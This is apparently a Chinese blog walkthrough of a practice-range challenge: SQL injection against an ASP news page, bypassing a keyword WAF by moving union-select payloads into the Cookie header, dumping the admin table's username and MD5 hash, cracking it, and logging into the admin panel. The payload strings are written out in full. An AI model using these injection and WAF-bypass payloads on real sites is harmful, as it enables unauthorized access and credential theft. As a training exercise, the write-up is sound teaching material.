## 网络安全1-2



<u>小开心007</u> ● 于 2020-03-30 10:19:45 发布 ○ 402 校藏 1 分类专栏: <u>Web安全</u> 文章标签: <u>web</u> 版权声明:本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u> 版权协议,转载请附上原文出处链接和本声明。 本文链接: <u>https://blog.csdn.net/wanglinyp/article/details/105191626</u> 版权



Web安全 专栏收录该内容

3 篇文章 0 订阅 订阅专栏 声明:练习仅可在靶场,不可用于非法操作。

封神台靶场练习之↓

第二章 遇到阻难!绕过WAF过滤!

$(\leftarrow) \rightarrow \ \bigcirc \ \bigcirc \ \bigcirc$	<i>¥</i> 59.63.200	.79:8004/index.asp	l	照 … 公	lii\	=	٢	<b>4</b> •		≡
📄 火狐官方站点 🄞 新手上路	📄 常用网址	D 京东商城 🌐 管理员登录						1 移动	设备上的	的书签
福建博均 FUJIAN BOJUN	]雕塑脱用 DIAOSHU TUOT	台漆器有限公司 FAIQIQU LIMITED COMPANY	হিন্দ্র							
Sec.	网站首页	关于我们   产品中心	新闻中心	客户案例	在线	留言	I B	係我们		
客户案例         Customer Case	-	新闻动态 News	(ARIAN)		1986	▲ 个 /	人简介	Compar	лу Рго	file
Mr 23-13- A 255 83-	·j	美国机械业巨头米拉克龙裁员1	•	[ 2009-8-24	]	[详细]				
单控女王子院 黑客安全渗透体系课程	₽ · 2	009将加快机械工业发展的		[ 2009-8-24	]					
现在点击免费学!	- <u>-</u>	上海凡太克工程机械有限公司增.	••	[ 2009-8-24	]					
	٠ŧ	战国宜优先发展的几种包装机械		[ 2009-8-24	]					
	•\$	旧何科学选购定制的包装机械		[ 2009-8-24	]					
	٠₹	战国真空包装机械行业市场潜力.		[ 2009-8-24	<u>[4]</u>					
		作品展示 Product								
び 掌 Zhang K		友情链接: IP138 二 福建雕塑, 脱胎漆器,雕塑 Copyright 2012 Auto F	工信部 ASP SEG 望家 胡文平 官方网站 Parts All Right Reser	O优化 图库 版权所有 闽ICF ved	99 HAO 98030239	0123 960号 申	雅虎 电话: 1	网易 37050348	303	
						ht	tps://bl	og.csdn.n	iet/wan	glinyp

1、检测是否存在sql注入点

点击网页一个动态:

$\leftrightarrow$ $\rightarrow$ C $rac{1}{2}$	☑	驟 … ☆	III\ 🗉	• ی	<b>4</b> •			
📄 火狐官方站点 🔞 新手上跟	洛 📄 常用网址 🕕 京东商城 🕕 管理员登录				[]移动;	设备上的		
福建 <sup>†</sup> FUJIAN B	專均雕塑脱胎漆器有限公司 BOJUN DIAOSHU TUOTAIQIQU LIMITED COMPANY							
Bake.	网站首页   关于我们   产品中心   新闻中心	客户案例   在线留言   取	系我们		.48	i Ko		
■ 新闻中心	■ 美国机械业巨头米拉克龙裁员130人				161			
·企业新闻	美国机械	14日头米拉古龙裁员130人						
·行业新闻		<b>美国饥慨业已关</b> 术拉兄龙战页130人						
·技术资料	发布者:admin 发布时间	发布者: admin 发布时间: 2009-8-24 13:36:27 阅读: 1945次						
·产品问答	这家总部设于美国俄亥俄州Batavia的塑料 <mark>机械</mark>	制造商还在等待资产出售,以帮助	其走出破产的	呆护。dri	米拉克龙	ğlinyp		

url:http://59.63.200.79:8004/shownews.asp?id=171 and 1=1

## 在地址栏输入上述url(url:之后的部分)

$\epsilon \rightarrow \mathbf{X}$ <b>(a)</b>		4/shownews.asp?id=171	and 1=1	•••	☆
📄 火狐官方站点 🧕 新手上路 📄	常用网址 」 「京东商城	💮 管理员登录			
	传参错词	吴! 参数 的值中包含非法字符	串!		
	请不要	在参数中出现:and update de	elete ; insert mid master 等	非法字符!	
					-
				确定	
			https://bio	g.csdn.nei/	wanglinyp

可以看出靶场对部分sql语句进行了过滤,因此再次采用order尝试

2、直接尝试检测字段数

url:http://59.63.200.79:8004/shownews.asp?id=171 order by 11 url:http://59.63.200.79:8004/shownews.asp?id=171 order by 10

(←) → C û 0	✗ 59.63.200.79:8004/shownews.asp?id=171 order by 12	~ 驟 … ☆	III\ 🗉 🔮 🛱 🤝 🚳
📄 火狐官方站点 🧕 新手上路	📄 常用网址 🔟 京东商城 💮 管理员登录		□ 移动设备上的
福建博: FUJIAN BOJ	均雕塑脱胎漆器有限公司 UN DIAOSHU TUOTAIQIQU LIMITED COMPANY		
Marker Control of Control	网站首页   关于我们   产品中心   新闻中心   客户家	例   在线留言   联系	我们
second which is a second se			
■ 新闻中心	数据库出错		七位七五世 光田本口

添加order by 11后页面出现错误,输入order by 10时,页面正常显示(可以从1开始尝试),因此,可以推测出页面存在sql注入且字段数为10。

## 3、寻找回显点

猜测数据库中可能存在admin表,直接拼接查询进行尝试

url:http://59.63.200.79:8004/shownews.asp?id=171 union select 1,2,3,4,5,6,7,8,9,10 from admin
(← → × ⓓ ♥ 259.63.200.79:8004/shownews.asp?id=171 union select 1,2,3,4 ₩ ··· ☆
📄 火狐官方站点 🍯 新手上路 📄 常用网址 🔟 京东商城 🌐 管理员登录
· · · · · · · · · · · · · · · · · · ·
请不要在参数中出现: and update delete ; insert mid master 等非法字符!
· · · · · · · · · · · · · · · · · · ·
nttps://biog.esdn.ne/wanglinyp

很明显查询语句被检测到了。

4、尝试cookie注入

因为网页一般只拦截GET、POST传参,因此,可以借助本地cookie进行尝试,这里需要借助火狐浏览器(或者 谷歌)的ModHeader插件。

去掉网页url中的id信息后继续访问网页

url:http://59.63.200.79:8004/shownews.asp



发现出现报错。

打开浏览器右上角的ModHeader,点击ModHeader右上角加号添加RequestHeader,name为: Cookie,value 为: id=171,并勾选

🔽 🔏 59.63.200.79:8004/shownews.asp		90 90	☆	lii\	▣	٢	4	•		≡
洛 📄 常用网址 🕕 京东商城 💮 管	■ Profile 1		ô	TAB LOC	ж	ii	+	:	3	的书签
専均雕塑脱胎漆器有Ⅰ 80JUN DIAOSHU TUOTAIQIQU LIMI	Name	Value							^	
网站首页   关于我们	Request Headers	id=171				ttps://t	<b>ล</b> g.cs	Xune	t/wan	glinyp

刷新网页,发现可以正常访问,所以可以判断该网站借助Cookie进行传参,且数据库中存在admin表。 尝试将查询语句放到Cookie中进行尝试,在ModHeader中添加新的Cookie,value设置为如下:

id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin

59.63.200.79:8004/shownews.asp			鬷 … 5	לא lii\	•	4	•
常用网址 🎵 京东商城 🌐 管理员登录						日移	多动设备_
]雕塑脱胎漆器有限公司 DIAOSHU TUOTAIQIQU LIMITED COMPANY	2325	(Same)					era nor .
网站首页   关于我们   产品中心	新闻中心	客户案例	在线留言	5   联系我们	1		. with
1 2 3 2	发布者:	2 3 7 发布时间:	<b>5</b> 8 阅读: 9次				
					打印本页	关闭	窗口iyp

可见存在如下几处回显点

利用回显点进行注入查询,ModHeader添加新的Cookie,value设置如下:

id=171+union+select+1,username,password,4,5,6,7,8,9,10+from+admin

admin
admin
发布者:7 发布时间:8 阅读:9次
b9a2a2b5dffb918c
https://bl 打印本页 非关闭窗口》

结果显示用户名为: admin, 密码: b9a2a2b5dffb918c, 密码那么复杂应该是加密后的密文, 复制密文, 百度 搜索md5,对密文进行在线转换:

$(\leftarrow) \rightarrow C$	https://www.cmd5.com			·· ☆		9 4	🖘 🐠 E	Ξ
📄 火狐官方站点 🧕 新手上路	📄 常用网址 🔟 京东商城 🌐 管理员	登录				日移	动设备上的书符	ŝ
CMD5 <sup>本站</sup> 过50	校md5、sha1等全球通用公开的加密算法 DTB,查询成功率95%以上,很多复杂密文	进行反向查询,通过穷举字符组台 只有本站才可查询。自2006年已	合的方式,创建了明文密 日稳定运行十余年,国内约	文对应查询数据库 卟享有盛誉。	1,创建的记录	约90万亿家	条,占用 <b>硬盘超</b>	
•				首页解密范围	批量解密♪	会员▶ \	NorldWide 🕨	
青 <u>注册</u> 或登录或● <u>qq一键登录</u>								
	密文: <u>b9a2a2b</u> 类型: 自动 查询结果: welcome	95dffb918c 查询 加	✓ [帮助]					

可见,密码为welcome

最后通过admin进行登录:

url:http://59.63.200.79:8004/shownews.asp

<i>🎽</i> 59.63.2	<b>00.79</b> :800	4/admin/Login.a	asp		•••	ជ			
]常用网址 📙	D 京东商城	💮 管理员登录							
			企业网站管理	理系统					
				管理员登	录				
		$\cap$	用户名称:						
		r i	用户密码:						
			验 证 码:	请和 2158	在左边输入				
				确认	清除				
				https	://blog.csdn.net/w	vanglinyp			
输入账号密码	马:								
0 🔏 59.6	3.200.79:80	04/admin/default	asp		驟 … ☆	lii\	•	4 5 (	Ħ
路 📄 常用网址	JD 京东商城	战 💮 管理员登录						2 移动设备	₹_
			1	企业网站管理系	统				
竟然	、成	功进入	、了尼	台!	拿走	通う	έK	EY,	
迎接	<b>至下</b> ·	一关听	<u> </u>						